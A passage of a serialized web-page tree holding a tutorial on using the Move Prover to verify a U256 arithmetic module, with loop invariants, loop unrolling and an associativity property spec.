,13927,13931,13935,13939,13943,13947,13951,13955],{"type":21,"tag":153,"props":13880,"children":13881},{"style":192},[13882],{"type":26,"value":13824},{"type":21,"tag":153,"props":13884,"children":13885},{"style":192},[13886],{"type":26,"value":11344},{"type":21,"tag":153,"props":13888,"children":13889},{"style":192},[13890],{"type":26,"value":11349},{"type":21,"tag":153,"props":13892,"children":13893},{"style":170},[13894],{"type":26,"value":5794},{"type":21,"tag":153,"props":13896,"children":13897},{"style":300},[13898],{"type":26,"value":5799},{"type":21,"tag":153,"props":13900,"children":13901},{"style":198},[13902],{"type":26,"value":341},{"type":21,"tag":153,"props":13904,"children":13905},{"style":192},[13906],{"type":26,"value":6471},{"type":21,"tag":153,"props":13908,"children":13909},{"style":198},[13910],{"type":26,"value":201},{"type":21,"tag":153,"props":13912,"children":13913},{"style":192},[13914],{"type":26,"value":11148},{"type":21,"tag":153,"props":13916,"children":13917},{"style":160},[13918],{"type":26,"value":211},{"type":21,"tag":153,"props":13920,"children":13921},{"style":192},[13922],{"type":26,"value":11382},{"type":21,"tag":153,"props":13924,"children":13925},{"style":160},[13926],{"type":26,"value":11387},{"type":21,"tag":153,"props":13928,"children":13929},{"style":198},[13930],{"type":26,"value":1694},{"type":21,"tag":153,"props":13932,"children":13933},{"style":192},[13934],{"type":26,"value":11396},{"type":21,"tag":153,"props":13936,"children":13937},{"style":160},[13938],{"type":26,"value":211},{"type":21,"tag":153,"props":13940,"children":13941},{"style":192},[13942],{"type":26,"value":11382},{"type":21,"tag":153,"props":13944,"children":13945},{"style":160},[13946],{"type":26,"value":11387},{"type":21,"tag":153,"props":13948,"children":13949},{"style":198},[13950],{"type":26,"value":313},{"type":21,"tag":153,"props":13952,"children":13953},{"style":192},[13954],{"type":26,"value":11213},{"type":21,"tag":153,"props":13956,"children":13957},{"style":160},[13958],{"type":26,"value":1759},{"type":21,"tag":153,"props":13960,"children":13961},{"class":155,"line":501},[13962],{"type":21,"tag":153,"props":13963,"children":13964},{"style":160},[13965],{"type":26,"value":11645},{"type":21,"tag":153,"props":13967,"children":13968},{"class":155,"line":533},[13969,13974,13978,13982,13986],{"type":21,"tag":153,"props":13970,"children":13971},{"style":160},[13972],{"type":26,"value":13973},"      (",{"type":21,"tag":153,"props":13975,"children":13976},{"style":192},[13977],{"type":26,"value":6471},{"type":21,"tag":153,"props":13979,"children":13980},{"style":198},[13981],{"type":26,"value":4094},{"type":21,"tag":153,"props":13983,"children":13984},{"style":192},[13985],{"type":26,"value":11213},{"type":21,"tag":153,"props":13987,"children":13988},{"style":160},[13989],{"type":26,"value":5909},{"type":21,"tag":153,"props":13991,"children":13992},{"class":155,"line":542},[13993],{"type":21,"tag":153,"props":13994,"children":13995},{"style":160},[13996],{"type":26,"value":13997},"  }) {\n",{"type":21,"tag":153,"props":13999,"children":14000},{"class":155,"line":762},[14001,14006,14010,14014],{"type":21,"tag":153,"props":14002,"children":14003},{"style":160},[14004],{"type":26,"value":14005},"      vector",{"type":21,"tag":153,"props":14007,"children":14008},{"style":198},[14009],{"type":26,"value":265},{"type":21,"tag":153,"props":14011,"children":14012},{"style":181},[14013],{"type":26,"value":11477},{"type":21,"tag":153,"props":14015,"children":14016},{"style":160},[14017],{"type":26,"value":773},{"type":21,"tag":153,"props":14019,"children":14020},{"class":155,"line":776},[14021,14026,14030,14034],{"type":21,"tag":153,"props":14022,"children":14023},{"style":198},[14024],{"type":26,"value":14025},"          &",{"type":21,"tag":153,"props":14027,"children":14028},{"style":170},[14029],{"type":26,"value":318},{"type":21,"tag":153,"props":14031,"children":14032},{"style":192},[14033],{"type":26,"value":11148},{"type":21,"tag":153,"props":14035,"children":14036},{"style":160},[14037],{"type":26,"value":792},{"type":21,"tag":153,"props":14039,"children":14040},{"class":155,"line":795},[14041,14045,14049,14053,14057,14061,14065,14069,14073,14077,14081,14085,14089,14093,14097,14101,14105,14109,14113,14117,14121,14125],{"type":21,"tag":153,"props":14042,"children":14043},{"style":160},[14044],{"type":26,"value":11436},{"type":21,"tag":153,"props":14046,"children":14047},{"style":198},[14048],{"type":26,"value":313},{"type":21,"tag":153,"props":14050,"children":14051},{"style":160},[14052],{"type":26,"value":11518},{"type":21,"tag":153,"props":14054,"children":14055},{"style":198},[14056],{"type":26,"value":265},{"type":21,"tag":153,"props":14058,"children":14059},{"style":181},[14060],{"type":26,"value":11527},{"type":21,"tag":153,"props":14062,"children":14063},{"style":160},[14064],{"type":26,"value":189},{"type":21,"tag":153,"props":14066,"children":14067},{"style":198},[14068],{"type":26,"value":1974},{"type":21,"tag":153,"props":14070,"children":14071},{"style":192},[14072],{"type":26,"value":11093},{"type":21,"tag":153,"props":14074,"children":14075},{"style":160},[14076],{"type":26,"value":11544},{"type":21,"tag":153,"props":14078,"children":14079},{"style":192},[14080],{"type":26,"value":6471},{"type":21,"tag":153,"props":14082,"children":14083},{"style":170},[14084],{"type":26,"value":11553},{"type":21,"tag":153,"props":14086,"children":14087},{"style":214},[14088],{"type":26,"value":323},{"type":21,"tag":153,"props":14090,"children":14091},{"style":160},[14092],{"type":26,"value":11562},{"type":21,"tag":153,"props":14094,"children":14095},{"style":170},[14096],{"type":26,"value":11567},{"type":21,"tag":153,"props":14098,"children":14099},{"style":214},[14100],{"type":26,"value":11572},{"type":21,"tag":153,"props":14102,"children":14103},{"style":160},[14104],{"type":26,"value":2362},{"type":21,"tag":153,"props":14106,"children":14107},{"style":198},[14108],{"type":26,"value":313},{"type":21,"tag":153,"props":14110,"children":14111},{"style":160},[14112],{"type":26,"value":5820},{"type":21,"tag":153,"props":14114,"children":14115},{"style":192},[14116],{"type":26,"value":11589},{"type":21,"tag":153,"props":14118,"children":14119},{"style":170},[14120],{"type":26,"value":11553},{"type":21,"tag":153,"props":14122,"children":14123},{"style":214},[14124],{"type":26,"value":11572},{"type":21,"tag":153,"props":14126,"children":14127},{"style":160},[14128],{"type":26,"value":5909},{"type":21,"tag":153,"props":14130,"children":14131},{"class":155,"line":808},[14132],{"type":21,"tag":153,"props":14133,"children":14134},{"style":160},[14135],{"type":26,"value":9495},{"type":21,"tag":153,"props":14137,"children":14138},{"class":155,"line":820},[14139,14144,14148,14152,14156,14160],{"type":21,"tag":153,"props":14140,"children":14141},{"style":192},[14142],{"type":26,"value":14143},"      i",{"type":21,"tag":153,"props":14145,"children":14146},{"style":198},[14147],{"type":26,"value":255},{"type":21,"tag":153,"props":14149,"children":14150},{"style":192},[14151],{"type":26,"value":6143},{"type":21,"tag":153,"props":14153,"children":14154},{"style":198},[14155],{"type":26,"value":5527},{"type":21,"tag":153,"props":14157,"children":14158},{"style":300},[14159],{"type":26,"value":7253},{"type":21,"tag":153,"props":14161,"children":14162},{"style":160},[14163],{"type":26,"value":1759},{"type":21,"tag":153,"props":14165,"children":14166},{"class":155,"line":842},[14167],{"type":21,"tag":153,"props":14168,"children":14169},{"style":160},[14170],{"type":26,"value":14171},"  };\n",{"type":21,"tag":22,"props":14173,"children":14174},{},[14175,14177,14183,14185,14190,14192,14198],{"type":26,"value":14176},"In this case, the brackets specify the loop invariant for the ",{"type":21,"tag":78,"props":14178,"children":14180},{"className":14179},[],[14181],{"type":26,"value":14182},"while",{"type":26,"value":14184}," loop. Note that because the loop invariant executes ",{"type":21,"tag":5302,"props":14186,"children":14187},{},[14188],{"type":26,"value":14189},"after",{"type":26,"value":14191}," the loop guard, so we need to account for an extra step with ",{"type":21,"tag":78,"props":14193,"children":14195},{"className":14194},[],[14196],{"type":26,"value":14197},"i \u003C= n_coins",{"type":26,"value":355},{"type":21,"tag":143,"props":14200,"children":14202},{"code":14201,"language":147,"meta":7,"className":145,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[14203],{"type":21,"tag":78,"props":14204,"children":14205},{"__ignoreMap":7},[14206,14217,14228,14263,14286,14369,14376,14399],{"type":21,"tag":153,"props":14207,"children":14208},{"class":155,"line":156},[14209,14213],{"type":21,"tag":153,"props":14210,"children":14211},{"style":1751},[14212],{"type":26,"value":13801},{"type":21,"tag":153,"props":14214,"children":14215},{"style":160},[14216],{"type":26,"value":11259},{"type":21,"tag":153,"props":14218,"children":14219},{"class":155,"line":166},[14220,14224],{"type":21,"tag":153,"props":14221,"children":14222},{"style":192},[14223],{"type":26,"value":11653},{"type":21,"tag":153,"props":14225,"children":14226},{"style":160},[14227],{"type":26,"value":236},{"type":21,"tag":153,"props":14229,"children":14230},{"class":155,"line":225},[14231,14235,14239,14243,14247,14251,14255,14259],{"type":21,"tag":153,"props":14232,"children":14233},{"style":192},[14234],{"type":26,"value":13824},{"type":21,"tag":153,"props":14236,"children":14237},{"style":181},[14238],{"type":26,"value":11284},{"type":21,"tag":153,"props":14240,"children":14241},{"style":160},[14242],{"type":26,"value":189},{"type":21,"tag":153,"props":14244,"children":14245},{"style":192},[14246],{"type":26,"value":11293},{"type":21,"tag":153,"props":14248,"children":14249},{"style":160},[14250],{"type":26,"value":2362},{"type":21,"tag":153,"props":14252,"children":14253},{"style":198},[14254],{"type":26,"value":1694},{"type":21,"tag":153,"props":14256,"children":14257},{"style":192},[14258],{"type":26,"value":6143},{"type":21,"tag":153,"props":14260,"children":14261},{"style":160},[14262],{"type":26,"value":1759},{"type":21,"tag":153,"props":14264,"children":14265},{"class":155,"line":239},[14266,14270,14274,14278,14282],{"type":21,"tag":153,"props":14267,"children":14268},{"style":192},[14269],{"type":26,"value":13824},{"type":21,"tag":153,"props":14271,"children":14272},{"style":192},[14273],{"type":26,"value":6143},{"type":21,"tag":153,"props":14275,"children":14276},{"style":198},[14277],{"type":26,"value":10923},{"type":21,"tag":153,"props":14279,"children":14280},{"style":192},[14281],{"type":26,"value":11213},{"type":21,"tag":153,"props":14283,"children":14284},{"style":160},[14285],{"type":26,"value":1759},{"type":21,"tag":153,"props":14287,"children":14288},{"class":155,"line":382},[14289,14293,14297,14301,14305,14309,14313,14317,14321,14325,14329,14333,14337,14341,14345,14349,14353,14357,14361,14365],{"type":21,"tag":153,"props":14290,"children":14291},{"style":192},[14292],{"type":26,"value":13824},{"type":21,"tag":153,"props":14294,"children":14295},{"style":192},[14296],{"type":26,"value":11344},{"type":21,"tag":153,"props":14298,"children":14299},{"style":192},[14300],{"type":26,"value":11349},{"type":21,"tag":153,"props":14302,"children":14303},{"style":170},[14304],{"type":26,"value":5794},{"type":21,"tag":153,"props":14306,"children":14307},{"style":300},[14308],{"type":26,"value":5799},{"type":21,"tag":153,"props":14310,"children":14311},{"style":198},[14312],{"type":26,"value":341},{"type":21,"tag":153,"props":14314,"children":14315},{"style":192},[14316],{"type":26,"value":6471},{"type":21,"tag":153,"props":14318,"children":14319},{"style":198},[14320],{"type":26,"value":201},{"type":21,"tag":153,"props":14322,"children":14323},{"style":192},[14324],{"type":26,"value":11148},{"type":21,"tag":153,"props":14326,"children":14327},{"style":160},[14328],{"type":26,"value":211},{"type":21,"tag":153,"props":14330,"children":14331},{"style":192},[14332],{"type":26,"value":11382},{"type":21,"tag":153,"props":14334,"children":14335},{"style":160},[14336],{"type":26,"value":11387},{"type":21,"tag":153,"props":14338,"children":14339},{"style":198},[14340],{"type":26,"value":1694},{"type":21,"tag":153,"props":14342,"children":14343},{"style":192},[14344],{"type":26,"value":11396},{"type":21,"tag":153,"props":14346,"children":14347},{"style":160},[14348],{"type":26,"value":211},{"type":21,"tag":153,"props":14350,"children":14351},{"style":192},[14352],{"type":26,"value":11382},{"type":21,"tag":153,"props":14354,"children":14355},{"style":160},[14356],{"type":26,"value":11387},{"type":21,"tag":153,"props":14358,"children":14359},{"style":198},[14360],{"type":26,"value":313},{"type":21,"tag":153,"props":14362,"children":14363},{"style":192},[14364],{"type":26,"value":11213},{"type":21,"tag":153,"props":14366,"children":14367},{"style":160},[14368],{"type":26,"value":1759},{"type":21,"tag":153,"props":14370,"children":14371},{"class":155,"line":501},[14372],{"type":21,"tag":153,"props":14373,"children":14374},{"style":160},[14375],{"type":26,"value":11645},{"type":21,"tag":153,"props":14377,"children":14378},{"class":155,"line":533},[14379,14383,14387,14391,14395],{"type":21,"tag":153,"props":14380,"children":14381},{"style":160},[14382],{"type":26,"value":13973},{"type":21,"tag":153,"props":14384,"children":14385},{"style":192},[14386],{"type":26,"value":6471},{"type":21,"tag":153,"props":14388,"children":14389},{"style":198},[14390],{"type":26,"value":4094},{"type":21,"tag":153,"props":14392,"children":14393},{"style":192},[14394],{"type":26,"value":11213},{"type":21,"tag":153,"props":14396,"children":14397},{"style":160},[14398],{"type":26,"value":5909},{"type":21,"tag":153,"props":14400,"children":14401},{"class":155,"line":542},[14402],{"type":21,"tag":153,"props":14403,"children":14404},{"style":160},[14405],{"type":26,"value":13997},{"type":21,"tag":22,"props":14407,"children":14408},{},[14409],{"type":26,"value":14410},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":21,"tag":22,"props":14412,"children":14413},{},[14414,14416,14421],{"type":26,"value":14415},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":21,"tag":78,"props":14417,"children":14419},{"className":14418},[],[14420],{"type":26,"value":12360},{"type":26,"value":14422}," function will always iterate exactly 4 times:",{"type":21,"tag":143,"props":14424,"children":14426},{"code":14425,"language":147,"meta":7,"className":145,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[14427],{"type":21,"tag":78,"props":14428,"children":14429},{"__ignoreMap":7},[14430,14438,14471,14478,14493,14500,14523,14547,14592,14636,14643],{"type":21,"tag":153,"props":14431,"children":14432},{"class":155,"line":156},[14433],{"type":21,"tag":153,"props":14434,"children":14435},{"style":3050},[14436],{"type":26,"value":14437},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":21,"tag":153,"props":14439,"children":14440},{"class":155,"line":166},[14441,14445,14450,14454,14458,14462,14467],{"type":21,"tag":153,"props":14442,"children":14443},{"style":170},[14444],{"type":26,"value":5085},{"type":21,"tag":153,"props":14446,"children":14447},{"style":160},[14448],{"type":26,"value":14449}," WORDS",{"type":21,"tag":153,"props":14451,"children":14452},{"style":198},[14453],{"type":26,"value":201},{"type":21,"tag":153,"props":14455,"children":14456},{"style":214},[14457],{"type":26,"value":323},{"type":21,"tag":153,"props":14459,"children":14460},{"style":198},[14461],{"type":26,"value":255},{"type":21,"tag":153,"props":14463,"children":14464},{"style":300},[14465],{"type":26,"value":14466}," 4",{"type":21,"tag":153,"props":14468,"children":14469},{"style":160},[14470],{"type":26,"value":1759},{"type":21,"tag":153,"props":14472,"children":14473},{"class":155,"line":225},[14474],{"type":21,"tag":153,"props":14475,"children":14476},{"emptyLinePlaceholder":16},[14477],{"type":26,"value":759},{"type":21,"tag":153,"props":14479,"children":14480},{"class":155,"line":239},[14481,14485,14489],{"type":21,"tag":153,"props":14482,"children":14483},{"style":160},[14484],{"type":26,"value":211},{"type":21,"tag":153,"props":14486,"children":14487},{"style":198},[14488],{"type":26,"value":12313},{"type":21,"tag":153,"props":14490,"children":14491},{"style":160},[14492],{"type":26,"value":2941},{"type":21,"tag":153,"props":14494,"children":14495},{"class":155,"line":382},[14496],{"type":21,"tag":153,"props":14497,"children":14498},{"emptyLinePlaceholder":16},[14499],{"type":26,"value":759},{"type":21,"tag":153,"props":14501,"children":14502},{"class":155,"line":501},[14503,14507,14511,14515,14519],{"type":21,"tag":153,"props":14504,"children":14505},{"style":170},[14506],{"type":26,"value":1555},{"type":21,"tag":153,"props":14508,"children":14509},{"style":192},[14510],{"type":26,"value":6143},{"type":21,"tag":153,"props":14512,"children":14513},{"style":198},[14514],{"type":26,"value":255},{"type":21,"tag":153,"props":14516,"children":14517},{"style":300},[14518],{"type":26,"value":5799},{"type":21,"tag":153,"props":14520,"children":14521},{"style":160},[14522],{"type":26,"value":1759},{"type":21,"tag":153,"props":14524,"children":14525},{"class":155,"line":533},[14526,14530,14534,14538,14542],{"type":21,"tag":153,"props":14527,"children":14528},{"style":1751},[14529],{"type":26,"value":14182},{"type":21,"tag":153,"props":14531,"children":14532},{"style":160},[14533],{"type":26,"value":5820},{"type":21,"tag":153,"props":14535,"children":14536},{"style":192},[14537],{"type":26,"value":6471},{"type":21,"tag":153,"props":14539,"children":14540},{"style":198},[14541],{"type":26,"value":4094},{"type":21,"tag":153,"props":14543,"children":14544},{"style":160},[14545],{"type":26,"value":14546}," WORDS) {\n",{"type":21,"tag":153,"props":14548,"children":14549},{"class":155,"line":542},[14550,14554,14559,14563,14568,14572,14576,14580,14584,14588],{"type":21,"tag":153,"props":14551,"children":14552},{"style":170},[14553],{"type":26,"value":629},{"type":21,"tag":153,"props":14555,"children":14556},{"style":192},[14557],{"type":26,"value":14558}," a1",{"type":21,"tag":153,"props":14560,"children":14561},{"style":198},[14562],{"type":26,"value":255},{"type":21,"tag":153,"props":14564,"children":14565},{"style":181},[14566],{"type":26,"value":14567}," get",{"type":21,"tag":153,"props":14569,"children":14570},{"style":160},[14571],{"type":26,"value":189},{"type":21,"tag":153,"props":14573,"children":14574},{"style":198},[14575],{"type":26,"value":1974},{"type":21,"tag":153,"props":14577,"children":14578},{"style":192},[14579],{"type":26,"value":29},{"type":21,"tag":153,"props":14581,"children":14582},{"style":160},[14583],{"type":26,"value":1670},{"type":21,"tag":153,"props":14585,"children":14586},{"style":192},[14587],{"type":26,"value":6471},{"type":21,"tag":153,"props":14589,"children":14590},{"style":160},[14591],{"type":26,"value":530},{"type":21,"tag":153,"props":14593,"children":14594},{"class":155,"line":762},[14595,14599,14604,14608,14612,14616,14620,14624,14628,14632],{"type":21,"tag":153,"props":14596,"children":14597},{"style":170},[14598],{"type":26,"value":629},{"type":21,"tag":153,"props":14600,"children":14601},{"style":192},[14602],{"type":26,"value":14603}," b1",{"type":21,"tag":153,"props":14605,"children":14606},{"style":198},[14607],{"type":26,"value":255},{"type":21,"tag":153,"props":14609,"children":14610},{"style":181},[14611],{"type":26,"value":14567},{"type":21,"tag":153,"props":14613,"children":14614},{"style":160},[14615],{"type":26,"value":189},{"type":21,"tag":153,"props":14617,"children":14618},{"style":198},[14619],{"type":26,"value":1974},{"type":21,"tag":153,"props":14621,"children":14622},{"style":192},[14623],{"type":26,"value":5972},{"type":21,"tag":153,"props":14625,"children":14626},{"style":160},[14627],{"type":26,"value":1670},{"type":21,"tag":153,"props":14629,"children":14630},{"style":192},[14631],{"type":26,"value":6471},{"type":21,"tag":153,"props":14633,"children":14634},{"style":160},[14635],{"type":26,"value":530},{"type":21,"tag":153,"props":14637,"children":14638},{"class":155,"line":776},[14639],{"type":21,"tag":153,"props":14640,"children":14641},{"emptyLinePlaceholder":16},[14642],{"type":26,"value":759},{"type":21,"tag":153,"props":14644,"children":14645},{"class":155,"line":795},[14646,14650,14654],{"type":21,"tag":153,"props":14647,"children":14648},{"style":160},[14649],{"type":26,"value":211},{"type":21,"tag":153,"props":14651,"children":14652},{"style":198},[14653],{"type":26,"value":12313},{"type":21,"tag":153,"props":14655,"children":14656},{"style":160},[14657],{"type":26,"value":2941},{"type":21,"tag":22,"props":14659,"children":14660},{},[14661],{"type":26,"value":14662},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":21,"tag":143,"props":14664,"children":14666},{"code":14665},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[14667],{"type":21,"tag":78,"props":14668,"children":14669},{"__ignoreMap":7},[14670],{"type":26,"value":14665},{"type":21,"tag":22,"props":14672,"children":14673},{},[14674,14676,14681,14682,14688],{"type":26,"value":14675},"For the ",{"type":21,"tag":8055,"props":14677,"children":14678},{},[14679],{"type":26,"value":14680},"Associative Property",{"type":26,"value":5820},{"type":21,"tag":78,"props":14683,"children":14685},{"className":14684},[],[14686],{"type":26,"value":14687},"a+(b+c) = (a+b)+c",{"type":26,"value":14689},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":21,"tag":143,"props":14691,"children":14693},{"code":14692,"language":147,"meta":7,"className":145,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[14694],{"type":21,"tag":78,"props":14695,"children":14696},{"__ignoreMap":7},[14697,14774,14813,14854,14893,14934,14941,14991,15030],{"type":21,"tag":153,"props":14698,"children":14699},{"class":155,"line":156},[14700,14704,14709,14713,14717,14721,14725,14729,14733,14737,14741,14745,14749,14753,14757,14761,14765,14770],{"type":21,"tag":153,"props":14701,"children":14702},{"style":192},[14703],{"type":26,"value":9836},{"type":21,"tag":153,"props":14705,"children":14706},{"style":181},[14707],{"type":26,"value":14708}," add_assoc_property",{"type":21,"tag":153,"props":14710,"children":14711},{"style":160},[14712],{"type":26,"value":189},{"type":21,"tag":153,"props":14714,"children":14715},{"style":192},[14716],{"type":26,"value":29},{"type":21,"tag":153,"props":14718,"children":14719},{"style":198},[14720],{"type":26,"value":201},{"type":21,"tag":153,"props":14722,"children":14723},{"style":214},[14724],{"type":26,"value":7460},{"type":21,"tag":153,"props":14726,"children":14727},{"style":160},[14728],{"type":26,"value":1670},{"type":21,"tag":153,"props":14730,"children":14731},{"style":192},[14732],{"type":26,"value":5972},{"type":21,"tag":153,"props":14734,"children":14735},{"style":198},[14736],{"type":26,"value":201},{"type":21,"tag":153,"props":14738,"children":14739},{"style":214},[14740],{"type":26,"value":7460},{"type":21,"tag":153,"props":14742,"children":14743},{"style":160},[14744],{"type":26,"value":1670},{"type":21,"tag":153,"props":14746,"children":14747},{"style":192},[14748],{"type":26,"value":5896},{"type":21,"tag":153,"props":14750,"children":14751},{"style":198},[14752],{"type":26,"value":201},{"type":21,"tag":153,"props":14754,"children":14755},{"style":214},[14756],{"type":26,"value":7460},{"type":21,"tag":153,"props":14758,"children":14759},{"style":160},[14760],{"type":26,"value":2071},{"type":21,"tag":153,"props":14762,"children":14763},{"style":198},[14764],{"type":26,"value":201},{"type":21,"tag":153,"props":14766,"children":14767},{"style":214},[14768],{"type":26,"value":14769}," bool",{"type":21,"tag":153,"props":14771,"children":14772},{"style":160},[14773],{"type":26,"value":236},{"type":21,"tag":153,"props":14775,"children":14776},{"class":155,"line":166},[14777,14781,14785,14789,14793,14797,14801,14805,14809],{"type":21,"tag":153,"props":14778,"children":14779},{"style":170},[14780],{"type":26,"value":629},{"type":21,"tag":153,"props":14782,"children":14783},{"style":192},[14784],{"type":26,"value":10918},{"type":21,"tag":153,"props":14786,"children":14787},{"style":198},[14788],{"type":26,"value":255},{"type":21,"tag":153,"props":14790,"children":14791},{"style":181},[14792],{"type":26,"value":12303},{"type":21,"tag":153,"props":14794,"children":14795},{"style":160},[14796],{"type":26,"value":189},{"type":21,"tag":153,"props":14798,"children":14799},{"style":192},[14800],{"type":26,"value":5972},{"type":21,"tag":153,"props":14802,"children":14803},{"style":160},[14804],{"type":26,"value":1670},{"type":21,"tag":153,"props":14806,"children":14807},{"style":192},[14808],{"type":26,"value":5896},{"type":21,"tag":153,"props":14810,"children":14811},{"style":160},[14812],{"type":26,"value":530},{"type":21,"tag":153,"props":14814,"children":14815},{"class":155,"line":225},[14816,14820,14825,14829,14833,14837,14841,14845,14850],{"type":21,"tag":153,"props":14817,"children":14818},{"style":170},[14819],{"type":26,"value":629},{"type":21,"tag":153,"props":14821,"children":14822},{"style":192},[14823],{"type":26,"value":14824}," result_11",{"type":21,"tag":153,"props":14826,"children":14827},{"style":198},[14828],{"type":26,"value":255},{"type":21,"tag":153,"props":14830,"children":14831},{"style":181},[14832],{"type":26,"value":12303},{"type":21,"tag":153,"props":14834,"children":14835},{"style":160},[14836],{"type":26,"value":189},{"type":21,"tag":153,"props":14838,"children":14839},{"style":192},[14840],{"type":26,"value":29},{"type":21,"tag":153,"props":14842,"children":14843},{"style":160},[14844],{"type":26,"value":1670},{"type":21,"tag":153,"props":14846,"children":14847},{"style":192},[14848],{"type":26,"value":14849},"result_1",{"type":21,"tag":153,"props":14851,"children":14852},{"style":160},[14853],{"type":26,"value":530},{"type":21,"tag":153,"props":14855,"children":14856},{"class":155,"line":239},[14857,14861,14865,14869,14873,14877,14881,14885,14889],{"type":21,"tag":153,"props":14858,"children":14859},{"style":170},[14860],{"type":26,"value":629},{"type":21,"tag":153,"props":14862,"children":14863},{"style":192},[14864],{"type":26,"value":10944},{"type":21,"tag":153,"props":14866,"children":14867},{"style":198},[14868],{"type":26,"value":255},{"type":21,"tag":153,"props":14870,"children":14871},{"style":181},[14872],{"type":26,"value":12303},{"type":21,"tag":153,"props":14874,"children":14875},{"style":160},[14876],{"type":26,"value":189},{"type":21,"tag":153,"props":14878,"children":14879},{"style":192},[14880],{"type":26,"value":29},{"type":21,"tag":153,"props":14882,"children":14883},{"style":160},[14884],{"type":26,"value":1670},{"type":21,"tag":153,"props":14886,"children":14887},{"style":192},[14888],{"type":26,"value":5972},{"type":21,"tag":153,"props":14890,"children":14891},{"style":160},[14892],{"type":26,"value":530},{"type":21,"tag":153,"props":14894,"children":14895},{"class":155,"line":382},[14896,14900,14905,14909,14913,14917,14921,14925,14930],{"type":21,"tag":153,"props":14897,"children":14898},{"style":170},[14899],{"type":26,"value":629},{"type":21,"tag":153,"props":14901,"children":14902},{"style":192},[14903],{"type":26,"value":14904}," result_22",{"type":21,"tag":153,"props":14906,"children":14907},{"style":198},[14908],{"type":26,"value":255},{"type":21,"tag":153,"props":14910,"children":14911},{"style":181},[14912],{"type":26,"value":12303},{"type":21,"tag":153,"props":14914,"children":14915},{"style":160},[14916],{"type":26,"value":189},{"type":21,"tag":153,"props":14918,"children":14919},{"style":192},[14920],{"type":26,"value":5896},{"type":21,"tag":153,"props":14922,"children":14923},{"style":160},[14924],{"type":26,"value":1670},{"type":21,"tag":153,"props":14926,"children":14927},{"style":192},[14928],{"type":26,"value":14929},"result_2",{"type":21,"tag":153,"props":14931,"children":14932},{"style":160},[14933],{"type":26,"value":530},{"type":21,"tag":153,"props":14935,"children":14936},{"class":155,"line":501},[14937],{"type":21,"tag":153,"props":14938,"children":14939},{"emptyLinePlaceholder":16},[14940],{"type":26,"value":759},{"type":21,"tag":153,"props":14942,"children":14943},{"class":155,"line":533},[14944,14948,14952,14956,14961,14965,14969,14974,14978,14982,14987],{"type":21,"tag":153,"props":14945,"children":14946},{"style":170},[14947],{"type":26,"value":629},{"type":21,"tag":153,"props":14949,"children":14950},{"style":192},[14951],{"type":26,"value":10587},{"type":21,"tag":153,"props":14953,"children":14954},{"style":198},[14955],{"type":26,"value":255},{"type":21,"tag":153,"props":14957,"children":14958},{"style":181},[14959],{"type":26,"value":14960}," compare",{"type":21,"tag":153,"props":14962,"children":14963},{"style":160},[14964],{"type":26,"value":189},{"type":21,"tag":153,"props":14966,"children":14967},{"style":198},[14968],{"type":26,"value":1974},{"type":21,"tag":153,"props":14970,"children":14971},{"style":192},[14972],{"type":26,"value":14973},"result_11",{"type":21,"tag":153,"props":14975,"children":14976},{"style":160},[14977],{"type":26,"value":1670},{"type":21,"tag":153,"props":14979,"children":14980},{"style":198},[14981],{"type":26,"value":1974},{"type":21,"tag":153,"props":14983,"children":14984},{"style":192},[14985],{"type":26,"value":14986},"result_22",{"type":21,"tag":153,"props":14988,"children":14989},{"style":160},[14990],{"type":26,"value":530},{"type":21,"tag":153,"props":14992,"children":14993},{"class":155,"line":542},[14994,14998,15003,15007,15011,15016,15020,15025],{"type":21,"tag":153,"props":14995,"children":14996},{"style":1751},[14997],{"type":26,"value":2434},{"type":21,"tag":153,"props":14999,"children":15000},{"style":160},[15001],{"type":26,"value":15002}," ( ",{"type":21,"tag":153,"props":15004,"children":15005},{"style":192},[15006],{"type":26,"value":10652},{"type":21,"tag":153,"props":15008,"children":15009},{"style":198},[15010],{"type":26,"value":6031},{"type":21,"tag":153,"props":15012,"children":15013},{"style":160},[15014],{"type":26,"value":15015}," EQUAL ) ",{"type":21,"tag":153,"props":15017,"children":15018},{"style":170},[15019],{"type":26,"value":3294},{"type":21,"tag":153,"props":15021,"children":15022},{"style":1751},[15023],{"type":26,"value":15024}," else",{"type":21,"tag":153,"props":15026,"children":15027},{"style":170},[15028],{"type":26,"value":15029}," false\n",{"type":21,"tag":153,"props":15031,"children":15032},{"class":155,"line":762},[15033],{"type":21,"tag":153,"props":15034,"children":15035},{"style":160},[15036],{"type":26,"value":548},{"type":21,"tag":22,"props":15038,"children":15039},{},[15040],{"type":26,"value":15041},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":21,"tag":143,"props":15043,"children":15045},{"code":15044,"language":147,"meta":7,"className":145,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == 